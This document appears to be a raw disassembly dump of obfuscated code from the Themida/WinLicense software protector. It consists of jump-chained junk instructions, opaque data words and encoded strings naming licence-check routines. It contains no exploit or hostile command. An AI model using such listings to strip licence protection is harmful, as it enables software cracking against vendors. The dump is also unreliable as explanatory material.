Themida_:0056C908j or esi, 12235B00h jb loc_5594C8 jmp loc_56CA07 ; --------------------------------------------------------------------------- loc_56D134: ; CODE XREF: Themida_:0055F2CCj xor edi, 0C5D75CFh add ebx, edi mov edi, [esp] add esp, 4 pop ebp sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 628B7E47h jmp loc_55BFFE ; --------------------------------------------------------------------------- loc_56D15F: ; CODE XREF: Themida_:0055791Dj mov edx, 0A4C2568h mov esi, edx pop edx shl esi, 4 jmp loc_55691D ; --------------------------------------------------------------------------- loc_56D16F: ; CODE XREF: Themida_:00565393j not dword ptr [esp] mov ebx, [esp] jmp loc_55B1AA ; --------------------------------------------------------------------------- loc_56D17A: ; CODE XREF: Themida_:00556899j sub ebx, 56C25D6Fh push 7103h mov [esp], ebx jmp loc_560B39 ; --------------------------------------------------------------------------- db 2 dup(41h), 0E9h dd 0FFFFF65Eh ; --------------------------------------------------------------------------- loc_56D194: ; CODE XREF: Themida_:0055EE7Ej mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp push 520h mov [esp], edi push ebp push eax mov eax, 37D12327h shl eax, 7 jp loc_5626B8 not eax not eax sub eax, 43287ECBh sub eax, 712613F1h sub eax, 613C6BEh mov ebp, eax pop eax push 68B3h mov [esp], esi jmp loc_5637DD ; --------------------------------------------------------------------------- loc_56D1E2: ; CODE XREF: Themida_:0056213Cj ; Themida_:00564710j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56D1E7: ; CODE XREF: Themida_:0056C69Fj add edi, 3E5248FBh add edi, ebx sub edi, 3E5248FBh pop ebx xchg edi, [esp] mov esp, [esp] push 4646h mov [esp], ecx pop dword ptr [eax] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56D20B: ; CODE XREF: Themida_:0055BC69j ; Themida_:00560873j mov esi, 249E140Ch xor ebx, esi pop esi mov edi, ebx mov ebx, [esp] add esp, 4 dec edi neg edi shr edi, 2 xor edi, 95D7240Dh add ebp, 3F1834B0h add ebp, edi sub ebp, 3F1834B0h jmp loc_56BCDC ; --------------------------------------------------------------------------- loc_56D23A: ; CODE XREF: Themida_:00557031j shl ecx, 8 and ecx, 5B8A33CDh add ecx, 27E73C74h jmp loc_56B4D4 ; --------------------------------------------------------------------------- loc_56D24E: ; CODE XREF: Themida_:0056214Dj pop ebp push edx push ecx push 32CA4C63h pop ecx sub ecx, 62B05200h jb loc_56636B jmp loc_55F5FF ; --------------------------------------------------------------------------- dd 88C0C380h, 0EC885BDDh, 4BE5Bh, 0EF810000h, 3AD8384Dh dd 3317BB53h, 0EB8146A5h, 1642BFC5h, 15BDF29h, 52C781F7h dd 81306273h, 0D8384DC7h, 0C7815E3Ah, 4, 2474FF57h, 48F5F04h dd 9D4EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D2AE: ; CODE XREF: Themida_:0056C158j pop esp mov [esp], edx push ebx jmp loc_560128 ; --------------------------------------------------------------------------- loc_56D2B8: ; CODE XREF: Themida_:005648FCj sub esp, 4 mov [esp], ecx push ebx jmp loc_568E15 ; --------------------------------------------------------------------------- loc_56D2C7: ; CODE XREF: Themida_:0055F8A2j ; Themida_:loc_560FCEj xchg eax, [esp] not eax xor [esp], eax xor eax, [esp] xor [esp], eax pop esi jmp loc_55C9B0 ; --------------------------------------------------------------------------- loc_56D2DB: ; CODE XREF: Themida_:0056A8F6j add edi, 1A6C4462h pop eax and eax, edi mov edi, [esp] jmp loc_5620EE ; --------------------------------------------------------------------------- loc_56D2EC: ; CODE XREF: Themida_:00556E38j push dword ptr [esp] pop edi push edx jmp loc_55EE8B ; --------------------------------------------------------------------------- loc_56D2F6: ; CODE XREF: Themida_:00558502j add ebp, 22D0177Bh sub ebp, edi jmp loc_55D4D9 ; --------------------------------------------------------------------------- loc_56D303: ; CODE XREF: Themida_:0055894Ej push ecx mov ecx, 12F2C59h jmp loc_569F1C ; --------------------------------------------------------------------------- loc_56D30E: ; CODE XREF: Themida_:00560F78j sub edx, 610E7CBAh add edx, 45F848CBh add edx, eax sub edx, 45F848CBh add edx, 610E7CBAh sub edx, 6CE46246h add edx, 19C40499h add edx, 64716260h jmp loc_56B2FE ; --------------------------------------------------------------------------- db 53h dd 4B55B850h, 6A2D4058h, 892E0B48h, 0DE0158C3h, 242C8B5Bh dd 68E78957h, 649Dh, 0BB241C89h, 4, 815BDF01h, 4C7h, 0DAE2E900h dd 0E950FFFEh, 0FFFFD09Dh ; --------------------------------------------------------------------------- loc_56D378: ; CODE XREF: Themida_:loc_56002Bj inc dl jge loc_5641CE add dl, 0F4h mov bl, dl mov edx, [esp] mov bl, 95h mov edi, eax loc_56D38C: ; CODE XREF: Themida_:00568599j add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] mov esp, [esp] add edx, 4 push edi push 2 pop edi add edx, 5E4A45F8h sub edx, edi sub edx, 5E4A45F8h pop edi push edx jmp loc_565DAC ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 24348BF3h, 4C481h, 1BE90000h, 8BFFFF5Bh, 0C4832414h dd 4EC8304h, 0BD242C89h, 2, 2C8BEE01h, 71E95524h db 0DFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56D3EB: ; CODE XREF: Themida_:00565D3Cj pop ebx mov ah, 0DAh xor ah, ch pop ecx jmp loc_5678AB ; --------------------------------------------------------------------------- dw 6568h dd 89000028h, 0A7BB241Ch, 0E9638D72h, 0FFFF416Eh ; --------------------------------------------------------------------------- loc_56D408: ; CODE XREF: Themida_:0055FE9Aj add al, 6 jmp loc_561673 ; --------------------------------------------------------------------------- loc_56D40F: ; CODE XREF: Themida_:00567BFBj sub eax, esi pop esi jmp loc_5643C0 ; --------------------------------------------------------------------------- align 4 dd 3951E9F7h, 5352FFFFh, 5A02F9BBh, 0FF38BA78h, 0DA01DB3Fh dd 5EB8505Bh, 0E90BDB16h, 0FFFF0F66h ; --------------------------------------------------------------------------- loc_56D438: ; CODE XREF: Themida_:0055FD05j ; Themida_:00569256j mov ebx, 7E5D3E63h sub esp, 4 mov [esp], edx mov edx, 0BC750EDh or ebx, edx pop edx dec ebx jmp loc_569991 ; --------------------------------------------------------------------------- loc_56D451: ; CODE XREF: Themida_:0056A6F7j sub [esp+4], ebx sub esp, 4 mov [esp], ebp push eax jmp loc_55B2E0 ; --------------------------------------------------------------------------- loc_56D461: ; CODE XREF: Themida_:0056BA67j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] xchg ebp, [esp] pop esp mov ax, [esp] push 713Bh mov [esp], ecx jmp loc_55E25D ; --------------------------------------------------------------------------- byte_56D493 db 66h ; DATA XREF: Themida_:00556198o dd 68240C8Bh, 51BFh, 68241489h, 2EB7h, 0E904EC83h, 0FFFF4D3Eh dd 83242489h, 59042404h, 527C6856h, 0F75E0A55h, 1C683D6h dd 101E681h, 0F46278Eh, 0FEFE7A8Bh, 0DCA5E9FFh, 489FFFFh dd 51E98B24h ; --------------------------------------------------------------------------- loc_56D4D8: ; CODE XREF: Themida_:0055A3E3j push dword ptr [esp] pop edx push eax jmp loc_5584D9 ; --------------------------------------------------------------------------- dw 0E281h dd 7954048Ah, 0FF6074E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D4ED: ; CODE XREF: Themida_:0056A093j mov [esp], ecx mov ecx, 79A8028Bh and edx, ecx jmp loc_5586DE ; --------------------------------------------------------------------------- loc_56D4FC: ; CODE XREF: Themida_:00568D42j mov ax, [esp] jmp loc_55BB2F ; --------------------------------------------------------------------------- loc_56D505: ; CODE XREF: Themida_:0056BA7Dj pop edx sub edx, ebx mov ebx, [esp] add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56D513: ; CODE XREF: Themida_:0055AF84j ; Themida_:0056D098j pop ebx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push eax mov eax, esp add eax, 4 jmp loc_55E5DD ; --------------------------------------------------------------------------- loc_56D530: ; CODE XREF: Themida_:0056CF9Fj pop edx jmp loc_5658EA ; --------------------------------------------------------------------------- loc_56D536: ; CODE XREF: Themida_:00557A91j pop eax pop eax push esi mov esi, 486B3199h and esi, 30C22EECh jmp loc_55928A ; --------------------------------------------------------------------------- loc_56D549: ; CODE XREF: Themida_:0056C100j add ecx, 4 sub ecx, 4 jmp loc_557937 ; --------------------------------------------------------------------------- dw 0D3F7h dd 0FFABC1E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D561: ; CODE XREF: Themida_:0055753Ej push edi mov edi, 4 add edx, 5C9E5CC4h jmp loc_560C21 ; --------------------------------------------------------------------------- dw 0E381h dd 66166E66h, 13D4820Fh, 85E9FFFFh, 31FFFFB6h, 2498E9FEh db 2 dup(0FFh) word_56D58A dw 34FFh ; DATA XREF: Themida_:00556088o dd 0EC835924h, 0CC2DE904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56D596: ; CODE XREF: Themida_:005577E5j ; Themida_:0055B1F5j shr edi, 6 xor edi, 1FBF514h add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx jmp loc_567C20 ; --------------------------------------------------------------------------- loc_56D5AD: ; CODE XREF: Themida_:00563925j jmp loc_5562E7 ; --------------------------------------------------------------------------- word_56D5B2 dw 0DC68h ; DATA XREF: Themida_:00556174o dd 8900006Fh, 15682424h, 89000036h, 7C682414h, 0E94AB520h dd 0FFFF16C5h dword_56D5CC dd 0FE8D16E9h ; DATA XREF: Themida_:005561F4o db 0FFh ; --------------------------------------------------------------------------- loc_56D5D1: ; CODE XREF: Themida_:005621D4j push 5B7Ch mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ebx, 4DDA26B6h add ebx, edi sub ebx, 4DDA26B6h jmp loc_56A337 ; --------------------------------------------------------------------------- loc_56D5FE: ; CODE XREF: Themida_:0056CA5Ej push dword ptr [esp+4] push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi pop esi push eax push dword ptr [esp+4] jmp loc_564C4F ; --------------------------------------------------------------------------- db 0D2h, 2Ch, 24h dd 8CBDE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56D62A: ; CODE XREF: Themida_:0056B572j dec dl push small 498Dh mov [esp], ax mov al, dl mov dl, cl push ebx mov bl, al mov cl, bl jmp loc_5680FA ; --------------------------------------------------------------------------- loc_56D642: ; CODE XREF: Themida_:0055D460j push cx mov cl, 22h add al, cl mov cx, [esp] add esp, 2 sub al, dh sub al, 22h mov dx, [esp] jmp loc_55F1D6 ; --------------------------------------------------------------------------- loc_56D65C: ; CODE XREF: Themida_:0055631Dj pop edx jmp loc_562327 ; --------------------------------------------------------------------------- loc_56D662: ; CODE XREF: Themida_:0056B5C8j neg esi jno loc_567E56 and esi, 43011CC9h jmp loc_55C076 ; --------------------------------------------------------------------------- loc_56D675: ; CODE XREF: Themida_:loc_557FDBj pop eax sub esp, 4 mov [esp], edx jmp loc_55D52E ; --------------------------------------------------------------------------- loc_56D681: ; CODE XREF: Themida_:0055A0C1j mov cl, bh pop ebx push dword ptr [esp] jmp loc_569D32 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFEE25Eh ; --------------------------------------------------------------------------- loc_56D694: ; CODE XREF: Themida_:0056A9CDj mov ebx, esi pop esi mov edi, [esp] push 3FA2h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_560900 ; --------------------------------------------------------------------------- db 45h dd 0E902EDC1h, 0FFFFC3F0h ; --------------------------------------------------------------------------- loc_56D6C0: ; CODE XREF: Themida_:005623D1j sub cl, bl jmp loc_56C216 ; --------------------------------------------------------------------------- db 53h dd 2434FF54h, 0FEE3BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D6D1: ; CODE XREF: Themida_:005655F4j sub al, bl jmp loc_564D03 ; --------------------------------------------------------------------------- dword_56D6D8 dd 57240C8Bh, 0C781E789h, 4, 0FF839FE9h ; DATA XREF: Themida_:00556224o db 0FFh ; --------------------------------------------------------------------------- loc_56D6E9: ; CODE XREF: Themida_:0055E12Dj add ebp, edx pop edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55CA37 ; --------------------------------------------------------------------------- loc_56D703: ; CODE XREF: Themida_:00567360j sub edi, 512696FCh mov ebx, edi pop edi jmp loc_565D7F ; --------------------------------------------------------------------------- loc_56D711: ; CODE XREF: Themida_:0055A71Dj push 2E1Fh mov [esp], esi jmp loc_567285 ; --------------------------------------------------------------------------- loc_56D71E: ; CODE XREF: Themida_:005698F0j mov ecx, 33A36C38h jmp loc_5653EB ; --------------------------------------------------------------------------- dd 1555EF81h, 8D0F6703h, 0FFFECF93h, 4457E781h, 0EEE92C2Fh dd 5DFFFFEFh ; --------------------------------------------------------------------------- loc_56D740: ; CODE XREF: Themida_:0056C6BBj push 5106h mov [esp], ebx push dword ptr [esp] pop eax add esp, 4 mov edx, eax pop eax push dword ptr [esp] pop ebx add esp, 4 and ecx, edx mov edx, [esp] push esi jmp loc_56D013 ; --------------------------------------------------------------------------- loc_56D767: ; CODE XREF: Themida_:005572FAj pop eax pop esi sub ebx, 55D00A17h sub ebx, eax add ebx, 55D00A17h push dword ptr [esp] pop eax add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_561668 ; --------------------------------------------------------------------------- dword_56D78C dd 240C8B66h ; DATA XREF: Themida_:00556158o ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_563A39 ; --------------------------------------------------------------------------- dd 12E8h, 0C466FB00h, 8F95DC24h, 5EFD2218h, 0D5EB24B1h dd 0F51FE0EDh, 0A3F38159h, 811663F6h, 59E9C1h, 28F0F00h dd 0B0000000h, 16416801h, 66600000h, 1E85D281h, 0AE8h dd 9C8D9C00h, 0BB7F7805h, 809CCC93h, 61582ADAh, 5BF9565Ah dd 816031FFh, 769C79DBh, 68C68133h, 61144BFBh, 13E95Eh dd 89120000h, 86397E61h, 0D574DC35h, 0D8DD1330h, 1C5E4E4Ah dd 8CC6811Dh, 0E800D4F0h, 14h, 0FBAB5162h, 56255604h, 2054D624h dd 7BC34202h, 1067E60Eh, 0ABF6657h, 81585804h, 0EBDE83F6h dd 6E84Bh, 265A0000h, 0E979907Eh, 39DF8153h, 5F6A6205h dd 0C4F6815Bh, 60165526h, 0E931DA80h, 0Bh, 0E0D5E449h dd 0F7FD25F7h, 61956C98h, 81663189h, 837574F7h, 0F94903E9h dd 0F01EA83h, 0FFFF6785h, 0E88166FFh, 36EB20D1h, 52455355h dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40007h, 11001Ah, 370034h dd 585900C9h, 7E913A6h, 68000009h, 5ECCF5Eh, 0FDB015E9h dd 0CFC568FFh, 0BE905ECh, 68FFFDB0h, 5ECD0FDh, 0FDB001E9h dd 0D2AB68FFh, 0F7E905ECh, 68FFFDAFh, 5ECD328h, 0FDAFEDE9h dd 0D41B68FFh, 0E3E905ECh, 68FFFDAFh, 5ECD494h, 0FDAFD9E9h dd 0D48BCDFFh, 40F57A80h, 0C86DEE14h, 46F3669Ch, 0C96AE812h dd 0C8BA3B9Dh, 47BDE98Ah, 0C2386C0Fh, 43B9ED92h, 913B6F0Ah dd 34BBB103h, 820E1D43h, 2D1C242Bh, 47F267DCh, 2CC7752Bh dd 1F12BC7Dh, 0F143D987h, 116C4CFBh, 54616514h, 32458BB5h dd 65DF09AAh, 0C8A2596Ah, 114F1663h, 5E9C9DDFh, 2072D1BDh dd 0F83DD992h, 2152AC32h, 0D0BCD07Ch, 6EEC227Ch, 0AE0D61CDh dd 73E15EABh, 600C60CCh, 4138C3Eh, 3EA62D0Eh, 0B827AE60h dd 0D09C9022h, 77EF2BBDh, 0BDD02B01h, 6A069E2Bh, 0A675FA34h dd 422E822Fh, 0C3EE822Eh, 0B3914F0Eh, 0A4FC5FB9h, 497A175Eh dd 0C7CFC534h, 4B09D870h, 33000007h, 0B44E1ABDh, 3CC69243h dd 0B04A1EBFh, 3EC49041h, 0ED4B1FBCh, 37E4166Ch, 0A6559963h dd 2BCC08F2h, 0A150857Fh, 7FCD5FF5h, 1D433685h, 6DDD74F8h dd 0D91749E8h, 264AE695h, 0DD2C2585h, 1EC5E00h, 5912BAA9h dd 44E07DB0h, 0EE4D26BDh, 9D530D95h, 16ECB85Fh, 979D31E6h dd 6D80B35Eh, 87E22443h, 6E4FE2Fh, 28A80000h, 96D92377h dd 0A49B3E7h, 94C53F6Bh, 74BB1E5h, 27A60054h, 2C781B5Fh dd 0A7F3A0D6h, 2C781F5Dh, 0A6F29FD6h, 582C9E0Ch, 0AB1D4336h dd 0E86D8E27h, 66EFE549h, 75567CBh, 67552F9Dh, 30A81756h dd 0A407B43Ah, 9C7576E6h, 1F5A5477h, 1BA9F7B7h, 17571021h dd 0E7AF0C94h, 340EE611h, 665EEC76h, 0F0175708h, 57086A42h dd 3245DD17h, 4C5009AAh, 9000000h, 1D49E86Dh, 671F1144h dd 66EF1756h, 13669FCBh, 408E144Ah, 0BAC06314h, 12BC1728h dd 0F7A629D7h, 0F6211BA9h, 0C94116Bh, 84F03E60h, 9A9047B5h dd 95CBA754h, 0E153145Bh, 116BF60Bh, 298AE67Eh, 96498B71h dd 624EB3Ah, 6DB20000h, 0ECE549E8h, 2C9EC09Dh, 12BC7ACFh dd 40EEBA22h, 8ACF4E8Eh, 432F43EFh, 0C26FE6E0h, 2D13896h dd 4BE86EC0h, 7FA68BE7h, 0A9AC0F05h, 41DB8560h, 6BBBF9F3h dd 77D44C11h, 0FE71BF25h, 3C9FF35Fh, 0CFFE8C46h, 7D23BB0Ch dd 35993CB3h, 0EDE3D96Bh, 0CE560B7Eh, 9D5301A2h, 16ECB85Fh dd 0BBB103E6h, 0E0B7EEDh, 5C56FA96h, 424B7819h, 46E80F2Eh dd 5AC3FEEh, 60900000h, 0DE11EBBFh, 62916B3Fh, 0DC1DE7B3h dd 5F93693Dh, 0CF4EE8BCh, 0C49043B7h, 4F1BB83Eh, 0C49047B5h dd 4E1AB73Eh, 0F0C476E4h, 431D4336h, 0E86D66CFh, 66EFE549h dd 0E86D67CBh, 9BBE549h, 17566733h, 0E1141E86h, 1F732056h dd 27A79EB3h, 51A2A916h, 1045B7F9h, 3DBE7022h, 0B793B98h dd 508C42D8h, 1FE3D9AFh, 0A72B1757h, 0B81B83F4h, 5720C8C2h dd 65286C17h, 0A4340EF0h, 11B88C3Eh, 930B1757h, 0FEBB6930h dd 9C7FFFFh, 6A094DCAh, 65C6AAC6h, 49E86DC0h, 0C09DECE5h dd 1BED049Eh, 0EF1FF60Dh, 69760CAFh, 0DC12BCF0h, 24BE1044h dd 6CDD9E96h, 2A891111h, 5D03DA2Fh, 7A892EC7h, 0B5F22D60h dd 0F4B6C16h, 0A63E0CD3h, 0DCD062F8h, 2F0B830Eh, 0C2B414B7h dd 0B830EEDh, 0B11DBC3Dh, 2C8033BBh, 0EECC072h, 0C75F0B83h dd 82B3216Fh, 3944B0FEh, 283AE54Fh, 1A0BFh, 1C24E600h dd 0EE67DC2Dh, 0AB07B625h, 6B07ABC7h, 2AC35907h, 5DC26EEBh dd 5105E43Dh, 0D6F9B895h, 0B3483291h, 0AF12BCFEh, 0E14DEC61h dd 0FF552E8Dh, 6CCE774Dh, 3E52CA11h, 0E2415EE4h, 7F8AC8A2h dd 0F862F8A6h, 92B1724Ah, 0FE5DC537h, 0F8C5EF84h, 0F65AC232h dd 53E1AAFFh, 31A89359h, 781D52ACh, 0BC267814h, 0FB58FD72h dd 0E8C0681h, 2E79902Dh, 9E03A563h, 8635A5AFh, 98C65E25h dd 0B532EB02h, 18F87285h, 0FF38BDBBh, 9E3BBE7Bh, 38325E32h dd 0D8B418B9h, 0D44EE0B4h, 0BE078E66h, 0DA79E12Bh, 5B9E99DCh dd 127E12BEh, 0D0152A21h, 43923AC7h, 3FEh, 0B9ED92C6h dd 3D690C43h, 0B5E194C7h, 3B6F0A4Fh, 0B6E291C1h, 6DED9110h dd 0EE609ACEh, 71E3194Dh, 0ED609ACEh, 20B2184Ch, 43389A92h dd 0C861ED1Dh, 0D083F739h, 5A237673h, 0A8CFB604h, 66FE12BAh dd 0BA81F638h, 5B379B38h, 54F79B37h, 0EB8CC806h, 601745BFh dd 0E997D73Eh, 0F22D101h, 0A72A4BAAh, 0A6CAA60Ah, 75724AF8h dd 5DC51169h, 21545EFEh, 0A7564370h, 0AA2E224h, 381DBh dd 6C134500h, 0E88DC238h, 601546BCh, 0EE8BCE34h, 611240BAh dd 90129335h, 1FE5B162h, 8A7024D7h, 3BC1954Ah, 0F95307B2h dd 39E3D96Bh, 0DA561D43h, 49E86D73h, 453F8D17h, 0B8175667h dd 0C601546h, 8221D606h, 0F4A52822h, 0BC286A58h, 56678783h dd 0A4692D17h, 0EE340E37h, 0FFFFFCBDh, 49E86DB7h, 0C09DECE5h dd 763B2C9Eh, 30CE12BCh, 2A7E12C3h, 71152473h, 399A3DBFh dd 4E10ED3Ch, 0BC7D47FCh, 78A23A12h, 7E3703EAh, 0B655FEDh dd 40D8116Ch, 0CA37206Dh, 7F071369h, 108B956h, 16184B65h dd 3BB8282Eh, 365A369Ah, 0FDB6045Ah, 0F064B9F9h, 0B814C90Eh dd 0FF9340B2h, 1424CD93h, 65F7E5D4h, 1118B81Bh, 0AD633D08h dd 51818B2Ah, 0E15301A2h, 5ED03466h, 11DF8119h, 0AD633DDCh dd 53818B2Ah, 0CF6C00ACh, 49E86D97h, 0E1A6F7Ah, 0EC3D9596h dd 28Eh, 95D0276h, 8DD97CF3h, 5510477h, 8BDF7AFFh, 6520171h dd 1D5D21A0h, 9ED02A7Eh, 2153A9FDh, 9DD02A7Eh, 9002A8FCh dd 433B4A22h, 9831BD1Dh, 0C2701B6Eh, 175666EAh, 486B507h dd 7700EA78h, 6FDD83EFh, 12BB58D8h, 0F76D33ABh, 6A486F45h dd 9A3DBF11h, 84D675EDh, 1550A4Ah, 6AC679FBh, 0AA2AED60h dd 2E18A3B4h, 92FEED5Eh, 0E9E4CDFEh, 9038E223h, 21541h dd 0C077F900h, 34E96E94h, 0A4599A60h, 2AC70AF0h, 0A556847Eh dd 0ACD657F1h, 23D98D2Eh, 0A65C08ABh, 2FD58136h, 0F55F0BA6h dd 3ADFD567h, 0DE521D43h, 421B6E77h, 0A919AE1Ch, 74EC12BAh dd 0C071E42Ah, 2B286D94h, 4AF7B6A2h, 69DD81C6h, 9BC5A905h dd 69FB5329h, 523EA611h, 1758960Ch, 0D0A6CA66h, 1169FADCh dd 4614B72Fh, 69FAFAF4h, 7DD14911h, 0FC500377h, 4DEE6CA2h dd 61D38DE1h, 1169FB8Bh, 0E7C566FEh, 94CA69E9h, 0CA66135Ah dd 0A45D05A6h, 982A7461h, 1169FA9Ch, 0E72977EFh dd 59938D6Fh, 9A4AF23Eh, 0FFF555F6h, 4B85DB76h, 52F25104h dd 5EFB727Ch, 0DC7DF00Ah, 0E5E13370h, 616BC776h, 15474DECh dd 2664CE62h, 7B2187B6h, 9E3BB209h, 1CBD30CAh, 9B38BAB0h dd 0A3D19F37h, 0B002E114h, 116A53BCh, 0CBA970Fh, 1A2485EFh dd 748EDAB6h, 0BAF95506h, 6A9AC05Ah, 5B51E379h, 0D31169A8h dd 178FF89Bh, 9340B2B4h, 41F369C7h, 1169A86Bh, 0F4832EA3h dd 0A818EC5Eh, 0F36B1169h, 0B83A3C9Fh, 3FBDB71Bh, 0DA643498h dd 0A86DEDAAh, 4E1A7627h, 3C9041B4h, 3843B44Ah, 9F7BFEA9h dd 0C974324h, 3E92FEF1h, 176C134h, 0C29C305Ch, 0F5CF7C70h dd 0FD57CF58h, 78284DBFh, 0CC0196C6h, 19D7792Dh, 9F993AD9h dd 0FA99DD56h, 0D406C896h, 2E248427h, 9F510FACh, 4F259758h dd 0A258F5CFh, 55F5563Ah, 9724505Ah, 77EDB35Eh, 0F5CEEFC5h dd 79DA4258h, 0E792DB21h, 6E37424Bh, 0C8458230h, 0B851545Bh dd 4C453E4Ch, 0EB7CDF4Bh, 30F8B39Eh, 0A45A2182h, 69DB8536h dd 530BCE93h, 46127EE6h, 0CD936ABFh, 8A29CC03h, 10C56AD8h dd 20B84E70h, 9243B07Eh, 529B9131h, 0B45DF3A7h, 82874B3Ah dd 33331566h, 38B9509Eh, 7CF1F754h, 0B20771DDh, 7936E5CAh dd 33BA0173h, 0A528D286h, 1F5258F4h, 308EDE72h, 0D37EF7C4h dd 59F87D87h, 0F065ABF5h, 33FE241h, 66000000h, 0EB6DA508h dd 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh dd 0CF0208A4h, 57848E22h, 0CF000AA6h, 83E9822Eh, 348904ECh dd 81E68924h, 4C6h, 4EE8300h, 5C243487h, 84368h, 24148900h dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A068240Ch dd 8B05ECCEh, 0C4832414h, 61D96804h, 24890000h, 24048124h dd 4, 12FE6859h, 14890000h, 8418F24h, 51240C8Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 148B5C24h, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 0FDA721E9h, 0D3F28EFFh, 7266414Dh dd 0CEB8034Ch, 305ECD6h, 99E0FFC5h, 1A5C1C47h, 0A776167Eh dd 3C273AE0h, 484461F2h, 9A601725h, 0DF53FF8Bh, 0B66B7818h dd 0B1027FC0h, 0C26E32Ah, 6136C1A0h, 2B00ECBCh, 6550F897h dd 0B26473BFh, 504A31FAh, 4503625Fh, 0FC4FF56Ch, 0B8754414h dd 0C74EA115h, 7F0139A6h, 300F0651h, 9D038066h, 4E32EA54h dd 0EF64D4BEh, 244E958Ch, 5924A082h, 0C05D917Ch, 0DF48FC64h dd 0E94CCDA6h, 73h, 11BD8360h, 5EA0Dh, 5840Fh, 5EE90000h dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h dd 8850F33h, 6A000000h, 24E94610h, 80000000h, 850F343Eh dd 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h, 2E9h dd 8D006A00h, 0EA240D85h, 4895005h, 34895024h, 0FF006A24h dd 0EA02F995h, 0C6C36105h, 0EA1A4585h, 0E5684D05h, 81AB0238h dd 4E4D2434h, 0B5FF0F37h, 5EA1C8Dh, 3969858Dh, 0D0FF05EAh dd 2F98589h, 0AAE905EAh, 53000000h, 7774666Fh, 5C657261h dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 5ECD918h dd 0D914858Dh, 8D5005ECh, 0ECD87E85h, 1685005h, 0FF800000h dd 0ECD92495h, 0FF196A05h, 0ECD918B5h, 6A016A05h, 0AD858D00h dd 5005ECD8h, 0D914B5FFh, 95FF05ECh, 5EA0135h, 0D914B5FFh dd 95FF05ECh, 5ECD920h, 0D914B5FFh, 95FF05ECh, 5EA3051h dd 188589C3h, 8D05ECD9h, 0ECD91485h, 858D5005h, 5ECD87Eh dd 16850h, 95FF8000h, 5ECD924h, 858D046Ah, 5ECD918h, 6A046A50h dd 0D7858D00h, 5005ECD8h, 0D914B5FFh, 95FF05ECh, 5EA0135h dd 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh, 95FF05ECh dd 5EA3051h, 188589C3h, 8D05ECD9h, 0ECD91485h, 858D5005h dd 5ECD87Eh, 16850h, 95FF8000h, 5ECD924h, 858D046Ah, 5ECD918h dd 6A046A50h, 0BF858D00h, 5005ECD8h, 0D914B5FFh, 95FF05ECh dd 5EA0135h, 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh dd 95FF05ECh, 5EA3051h, 188589C3h, 8D05ECD9h, 0ECD91485h dd 858D5005h, 5ECD87Eh, 16850h, 95FF8000h, 5ECD924h, 858D046Ah dd 5ECD918h, 6A046A50h, 0EA858D00h, 5005ECD8h, 0D914B5FFh dd 95FF05ECh, 5EA0135h, 0D914B5FFh, 95FF05ECh, 5ECD920h dd 0D914B5FFh, 95FF05ECh, 5EA3051h, 188589C3h, 8D05ECD9h dd 0ECD91485h, 858D5005h, 5ECD87Eh, 16850h, 95FF8000h dd 5ECD924h, 858D046Ah, 5ECD918h, 6A046A50h, 9A858D00h dd 5005ECD8h, 0D914B5FFh, 95FF05ECh, 5EA0135h, 0D914B5FFh dd 95FF05ECh, 5ECD920h, 0D914B5FFh, 95FF05ECh, 5EA3051h dd 85BD83C3h, 5EA2Bh, 0B840Fh, 9D8B0000h, 5EA2B85h, 894CC383h dd 0BD83C303h, 5EA2B85h, 0B840F00h, 8B000000h, 0EA2B859Dh dd 50C38305h, 83C30389h, 0EA2B85BDh, 840F0005h, 0Bh, 2B859D8Bh dd 0C38305EAh, 0C3038954h, 2B85BD83h, 0F0005EAh, 0B84h dd 859D8B00h, 8305EA2Bh, 38958C3h, 85BD83C3h, 5EA2Bh, 0B840Fh dd 9D8B0000h, 5EA2B85h, 895CC383h, 60C3C303h, 0D9188589h 